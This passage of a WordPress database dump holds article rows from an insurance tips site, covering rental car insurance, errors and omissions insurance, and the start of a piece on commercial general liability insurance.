locations (Orlando, Florida; Las Vegas; and Boston) for an economy-sized car in June 2023. Crunching the numbers, we discovered the average car rental insurance costs. Here are the results, rounded to the nearest dollar.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-72\">Coverage cost factors depend primarily on the location or state where you’re renting and the car’s value. You may pay far more for luxury vehicles. You may pay less when choosing more than two qualifying coverage products.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-74\">Should I Get Rental Car Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-75\">Rental car insurance can be a good idea in certain circumstances and a waste of money in others.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-77\">Consider car rental insurance if you:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-79\"><!-- wp:list-item -->\n<li>Don’t have liability or rental vehicle damage coverage from a personal car insurance policy or a credit card.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Don’t want to deal with the hassle of claims, reimbursement, or other administrative expenses that your insurance company won’t pay.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Want to avoid filing a claim and paying a deductible for a minor fender-bender.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Want additional coverage because the car you’re renting is worth well beyond credit card or personal policy limits.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Plan to share driving duties with someone not insured by your policy to ease future claims.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-81\">Skip the rental car insurance if you:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-83\"><!-- wp:list-item -->\n<li>Have full auto insurance coverage with ample liability limits and a deductible you can handle, and you can pay loss of use or other expenses out of pocket without worry.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Have health insurance for medical expenses and homeowners coverage for stolen or damaged personal belongings.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Have a credit card with robust primary or secondary rental car coverage, and you can charge the entire amount to the card as required.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Are traveling to a destination covered by your car and/or credit card insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Find a similar third-party travel insurance policy at a lower price.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is the Difference Between Rental Car Insurance and Rental Car Reimbursement Coverage?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Rental car insurance covers costs associated with car damage resulting from an accident, theft, or vandalism. In contrast, rental car reimbursement coverage is optional personal auto coverage for your car. It covers up to a set amount per day if you have to rent a car while your vehicle is being repaired.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Do I Need Rental Car Insurance If I Rent a Car Abroad?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When traveling abroad, figure out if and how you’re covered for an accident while driving, including any injuries, damage, and injuries to others. Check with your personal auto insurance company, your health insurance carrier, and your credit cards to get the specifics. If you don’t have adequate coverage (or none at all), you can decide if rental car company coverage or third-party travel insurance will best suit your needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does My Credit Card Cover Rental Car Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Many credit cards offer secondary rental car insurance for physical damage, which may become primary in limited situations. Call your card to find out how your coverage works. The list of credit cards that offer primary rental car insurance isn’t very long, but if you have travel rewards cards, look to see if it’s a featured benefit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>our American Express card may provide secondary rental car physical damage coverage. American Express. “Car Rental Loss and Damage Insurance Plan Documents,” Page 11. But you can add primary rental car coverage (called American Express Premium Car Rental Protection) that piggybacks on your card for a per-rental fee and features expanded benefits beyond traditional primary coverage. However, you must sign up before renting the car.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does Temporary Car Insurance Cover Rental Cars?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Temporary car insurance policies are not really available in the United States for less than six months at a time. These policies may be more available in other countries, such as the United Kingdom—where you can purchase a policy term for as short as one hour and as long as 30 days, for instance. You can also purchase short-term travel insurance policies that provide some damage coverage in the U.S.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-93\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-94\">Don’t walk up to the rental counter blindsided and confused about whether the rental company’s coverage is worth it. Whether or not you need rental car insurance depends on the coverages that you already carry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-96\">Compare your coverage through your insurance or credit card to your particular car rental situation. Your best bet is to call your auto insurance agent and/or credit card company and ask if and how you’re covered before picking up your rental car.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/do-i-need-rental-car-insurance-7546688\">click here.</a></p>\n<!-- /wp:paragraph -->','Do I Need Rental Car Insurance?','','inherit','closed','closed','','3783-revision-v1','','','2024-01-26 16:00:09','2024-01-26 16:00:09','',3783,'https://smartinsurance.tips/?p=3785',0,'revision','',0),(3819,1,'2024-02-16 23:13:28','2024-02-16 23:13:28','','Untitled-1','','inherit','closed','closed','','untitled-1','','','2024-02-16 23:13:28','2024-02-16 23:13:28','',3818,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-1.png',0,'attachment','image/png',0),(3787,1,'2024-01-29 23:14:17','2024-01-29 23:14:17','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3788,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-56-1024x1024.png\" alt=\"\" class=\"wp-image-3788\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is Errors and Omissions (E&amp;O) Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-1\">Errors and omissions (E&amp;O) insurance is a type of professional liability insurance that protects companies, their workers, and other professionals against claims of inadequate work or negligent actions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Errors and omissions insurance is a form of professional liability insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>E&amp;O insurance protects companies and professionals against claims of inadequate work or negligent actions made by clients.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Anyone who provides a service requires E&amp;O insurance including financial services, insurance agents, doctors, lawyers, and wedding planners.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>E&amp;O insurance does not cover criminal activity. It also does not cover many other forms of damage that are traditionally covered by different forms of insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>E&amp;O insurance costs will vary based on industry and projected risk; most companies can obtain coverage for less than $1,000 per year.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-6\">Understanding Errors and Omissions (E&amp;O) Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">Errors and omissions insurance is a form of liability insurance. It protects companies against the full costs of a claim made by a client against a professional who provides advice or a service such as a consultant, financial advisor, insurance agent, or lawyer. It is a common form of business insurance that protects an entity should someone accuse that company of making a mistake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">Companies often obtain E&amp;O insurance if they provide services to a customer for a fee. This form of insurance can be obtained from many major commercial insurers. Companies run out of a home-based office must buy a separate policy; the company can\'t get errors and omissions insurance under a homeowner\'s policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-11\">What E&amp;O Insurance Covers</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-12\">The benefits E&amp;O insurance gives companies or individuals vary greatly depending on the policy and issuing insurance company. Broadly speaking, E&amp;O insurance covers:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-14\"><!-- wp:list-item -->\n<li>Errors, mistakes, or oversights incurred during the course of work.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Failure to meet a deadline or deliver a specific service promised to a customer.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Professional negligence.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Failure to meet a specific standard of care, especially if outlined by a given profession.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Breach of contract.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Regarding specific expenses, E&amp;O may cover legal and court costs should a company find itself in court. Attorney and other legal fees are often covered whether or not the company is found to be guilty of the matter at hand. E&amp;O may cover specific types of settlements of judgements in which the company is found at fault. It also covers damages and expenses incurred to others for wrongdoing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Important: Some E&amp;O policies are not geographically bound and may still cover work performed outside of the company\'s primary country of operation. Check to see whether an international professional policy would be a better fit for your business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-20\">What E&amp;O Insurance Does Not Cover</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">These policies do not cover criminal prosecution and certain liabilities that may arise in civil court not listed in the policy. This includes illegal acts, intentional deeds of wrongdoing, or criminal activity. E&amp;O insurance often does not cover bodily injury inflicted by your business as that is typically covered by general liability insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">E&amp;O insurance may or may not cover temporary employees, claims stemming from work done before the policy was in force, or claims in various jurisdictions. It may also not cover information leaks due to cybercrime, employee injuries, or discrimination claims. These last three situations are covered by different types of insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-25\">Who Needs E&amp;O Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">Errors and omissions insurance often covers both court costs and any settlements up to the amount specified by the insurance contract. This kind of liability insurance is generally required for professional advice-giving or service-providing businesses. Without E&amp;O insurance, a company can be held liable for up to millions in damages plus the fees associated with a legal team.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Insurance brokers, insurance dealers, realtors, registered investment advisors, financial planners, and other financial professionals can obtain E&amp;O insurance. Regulatory bodies, such as insurance regulators, the Financial Industry Regulatory Authority (FINRA), or even a company\'s investors will often require E&amp;O insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">E&amp;O insurance is also applicable to businesses outside the financial industry including nonprofits, general maintenance companies and contractors, and engineering firms. Any other company or professional who provides a service, such as wedding planners and printers, also needs E&amp;O insurance.2 Doctors, dentists, and other medical professionals also take out E&amp;O insurance called malpractice insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-32\">For example, a client may sue an advisor or broker after an investment goes sour, even if the risks were well-known and within the guidelines established by the client. Even if a court or arbitration panel decides in favor of a broker or investment advisor, the legal fees can be very high, which is why E&amp;O insurance is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-34\">E&amp;O Insurance Cost</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-35\">The cost of a policy depends on a number of factors including the kind of business covered, its location, and any previous claims that have been paid out in the past. A person or company with numerous litigation problems has a higher underwriting risk and is likely to find E&amp;O insurance more expensive or less favorable in its terms as a result. On average, E&amp;O insurance can run around $500 - $1,000 per employee, per year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fast Fact: <em>Companies can often obtain an E&amp;O policy quote in minutes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-39\">Example of E&amp;O Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-40\">Let\'s say a company that hosts servers used by third parties for data purposes is breached by hackers who gain access to proprietary information and client data. The companies affected by the hack then sue the server-hosting company for damages for inadequate security.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-42\">The server-hosting company has an E&amp;O insurance policy and reviews it to see what the policy does and does not cover. To the company\'s benefit, its errors and omissions policy is robust and covers such situations. The insurance company pays for the legal expenses involved in the court case against multiple companies. It also pays for any monetary damages rendered by the courts or settled in arbitration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-44\">Having errors and omissions coverage helps the company avoid a substantial financial hit—even bankruptcy—depending on the company\'s finances. If you or your employees are in the business of providing professional advice or other professional services, E&amp;O insurance could be worth your consideration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Who Needs Errors and Omissions (E&amp;O) Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Professionals working in financial industries such as insurance, investments, real estate, and accounting will benefit from E&amp;O insurance to cover them in the event of a mistake or omission made on behalf of a client, which can be costly. Many regulatory bodies mandate employees in these professions to obtain E&amp;O coverage through their employer or independently.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Why Is Errors and Omissions Insurance Important?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A client can sue a financial professional if they incur a loss due to an error or omission made during an application process, consultation, or investment decision. E&amp;O insurance covers legal fees and any damages awarded to the client if they are owed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is E&amp;O Insurance Expensive?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>E&amp;O costs will depend on a variety of factors, including the nature of the business, size of the company, and claims history, On average, E&amp;O can cost between $500 and $1,000 per employee for a given year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is E&amp;O Insurance the Same as Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>E&amp;O insurance is the same product as professional liability insurance. However, E&amp;O insurance is different from general liability insurance. E&amp;O is coverage specific to mistakes performed specific to the operations of a business, while general liability insurance is more suited towards coverage for a company involving claims for bodily injuries or damages inflicted by the company\'s products.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-54\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-55\">E&amp;O insurance is a form of coverage for a company regard mistakes performed during the course of business. When a company legitimately fails to meet a deadline, make a material omission, make a professional oversight, or incur professional negligence, the injured party may make a claim against the company. In these situations, the company may have insurance coverage to pay legal and damage expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/e/errors-omissions-insurance.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','Errors and Omissions (E&amp;O) Insurance: What It Covers','','publish','closed','closed','','errors-and-omissions-eo-insurance-what-it-covers','','','2024-01-29 23:14:17','2024-01-29 23:14:17','',0,'https://smartinsurance.tips/?p=3787',0,'post','',0),(3788,1,'2024-01-29 23:10:14','2024-01-29 23:10:14','','Untitled-56','','inherit','closed','closed','','untitled-56','','','2024-01-29 23:10:14','2024-01-29 23:10:14','',3787,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-56.png',0,'attachment','image/png',0),(3789,1,'2024-01-29 23:14:17','2024-01-29 23:14:17','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3788,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-56-1024x1024.png\" alt=\"\" class=\"wp-image-3788\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is Errors and Omissions (E&amp;O) Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-1\">Errors and omissions (E&amp;O) insurance is a type of professional liability insurance that protects companies, their workers, and other professionals against claims of inadequate work or negligent actions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Errors and omissions insurance is a form of professional liability insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>E&amp;O insurance protects companies and professionals against claims of inadequate work or negligent actions made by clients.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Anyone who provides a service requires E&amp;O insurance including financial services, insurance agents, doctors, lawyers, and wedding planners.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>E&amp;O insurance does not cover criminal activity. It also does not cover many other forms of damage that are traditionally covered by different forms of insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>E&amp;O insurance costs will vary based on industry and projected risk; most companies can obtain coverage for less than $1,000 per year.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-6\">Understanding Errors and Omissions (E&amp;O) Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">Errors and omissions insurance is a form of liability insurance. It protects companies against the full costs of a claim made by a client against a professional who provides advice or a service such as a consultant, financial advisor, insurance agent, or lawyer. It is a common form of business insurance that protects an entity should someone accuse that company of making a mistake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">Companies often obtain E&amp;O insurance if they provide services to a customer for a fee. This form of insurance can be obtained from many major commercial insurers. Companies run out of a home-based office must buy a separate policy; the company can\'t get errors and omissions insurance under a homeowner\'s policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-11\">What E&amp;O Insurance Covers</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-12\">The benefits E&amp;O insurance gives companies or individuals vary greatly depending on the policy and issuing insurance company. Broadly speaking, E&amp;O insurance covers:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-14\"><!-- wp:list-item -->\n<li>Errors, mistakes, or oversights incurred during the course of work.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Failure to meet a deadline or deliver a specific service promised to a customer.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Professional negligence.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Failure to meet a specific standard of care, especially if outlined by a given profession.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Breach of contract.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Regarding specific expenses, E&amp;O may cover legal and court costs should a company find itself in court. Attorney and other legal fees are often covered whether or not the company is found to be guilty of the matter at hand. E&amp;O may cover specific types of settlements of judgements in which the company is found at fault. It also covers damages and expenses incurred to others for wrongdoing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Important: Some E&amp;O policies are not geographically bound and may still cover work performed outside of the company\'s primary country of operation. Check to see whether an international professional policy would be a better fit for your business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-20\">What E&amp;O Insurance Does Not Cover</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">These policies do not cover criminal prosecution and certain liabilities that may arise in civil court not listed in the policy. This includes illegal acts, intentional deeds of wrongdoing, or criminal activity. E&amp;O insurance often does not cover bodily injury inflicted by your business as that is typically covered by general liability insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">E&amp;O insurance may or may not cover temporary employees, claims stemming from work done before the policy was in force, or claims in various jurisdictions. It may also not cover information leaks due to cybercrime, employee injuries, or discrimination claims. These last three situations are covered by different types of insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-25\">Who Needs E&amp;O Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">Errors and omissions insurance often covers both court costs and any settlements up to the amount specified by the insurance contract. This kind of liability insurance is generally required for professional advice-giving or service-providing businesses. Without E&amp;O insurance, a company can be held liable for up to millions in damages plus the fees associated with a legal team.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Insurance brokers, insurance dealers, realtors, registered investment advisors, financial planners, and other financial professionals can obtain E&amp;O insurance. Regulatory bodies, such as insurance regulators, the Financial Industry Regulatory Authority (FINRA), or even a company\'s investors will often require E&amp;O insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">E&amp;O insurance is also applicable to businesses outside the financial industry including nonprofits, general maintenance companies and contractors, and engineering firms. Any other company or professional who provides a service, such as wedding planners and printers, also needs E&amp;O insurance.2 Doctors, dentists, and other medical professionals also take out E&amp;O insurance called malpractice insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-32\">For example, a client may sue an advisor or broker after an investment goes sour, even if the risks were well-known and within the guidelines established by the client. Even if a court or arbitration panel decides in favor of a broker or investment advisor, the legal fees can be very high, which is why E&amp;O insurance is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-34\">E&amp;O Insurance Cost</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-35\">The cost of a policy depends on a number of factors including the kind of business covered, its location, and any previous claims that have been paid out in the past. A person or company with numerous litigation problems has a higher underwriting risk and is likely to find E&amp;O insurance more expensive or less favorable in its terms as a result. On average, E&amp;O insurance can run around $500 - $1,000 per employee, per year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fast Fact: <em>Companies can often obtain an E&amp;O policy quote in minutes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-39\">Example of E&amp;O Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-40\">Let\'s say a company that hosts servers used by third parties for data purposes is breached by hackers who gain access to proprietary information and client data. The companies affected by the hack then sue the server-hosting company for damages for inadequate security.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-42\">The server-hosting company has an E&amp;O insurance policy and reviews it to see what the policy does and does not cover. To the company\'s benefit, its errors and omissions policy is robust and covers such situations. The insurance company pays for the legal expenses involved in the court case against multiple companies. It also pays for any monetary damages rendered by the courts or settled in arbitration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-44\">Having errors and omissions coverage helps the company avoid a substantial financial hit—even bankruptcy—depending on the company\'s finances. If you or your employees are in the business of providing professional advice or other professional services, E&amp;O insurance could be worth your consideration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Who Needs Errors and Omissions (E&amp;O) Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Professionals working in financial industries such as insurance, investments, real estate, and accounting will benefit from E&amp;O insurance to cover them in the event of a mistake or omission made on behalf of a client, which can be costly. Many regulatory bodies mandate employees in these professions to obtain E&amp;O coverage through their employer or independently.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Why Is Errors and Omissions Insurance Important?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A client can sue a financial professional if they incur a loss due to an error or omission made during an application process, consultation, or investment decision. E&amp;O insurance covers legal fees and any damages awarded to the client if they are owed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is E&amp;O Insurance Expensive?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>E&amp;O costs will depend on a variety of factors, including the nature of the business, size of the company, and claims history, On average, E&amp;O can cost between $500 and $1,000 per employee for a given year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is E&amp;O Insurance the Same as Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>E&amp;O insurance is the same product as professional liability insurance. However, E&amp;O insurance is different from general liability insurance. E&amp;O is coverage specific to mistakes performed specific to the operations of a business, while general liability insurance is more suited towards coverage for a company involving claims for bodily injuries or damages inflicted by the company\'s products.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-54\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-55\">E&amp;O insurance is a form of coverage for a company regard mistakes performed during the course of business. When a company legitimately fails to meet a deadline, make a material omission, make a professional oversight, or incur professional negligence, the injured party may make a claim against the company. In these situations, the company may have insurance coverage to pay legal and damage expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/e/errors-omissions-insurance.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','Errors and Omissions (E&amp;O) Insurance: What It Covers','','inherit','closed','closed','','3787-revision-v1','','','2024-01-29 23:14:17','2024-01-29 23:14:17','',3787,'https://smartinsurance.tips/?p=3789',0,'revision','',0),(3790,1,'2024-01-29 23:18:29','2024-01-29 23:18:29','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3791,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-57-1024x1024.png\" alt=\"\" class=\"wp-image-3791\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is Commercial General Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-1\">Commercial general liability (CGL) insurance is a type of policy that provides coverage to a business for 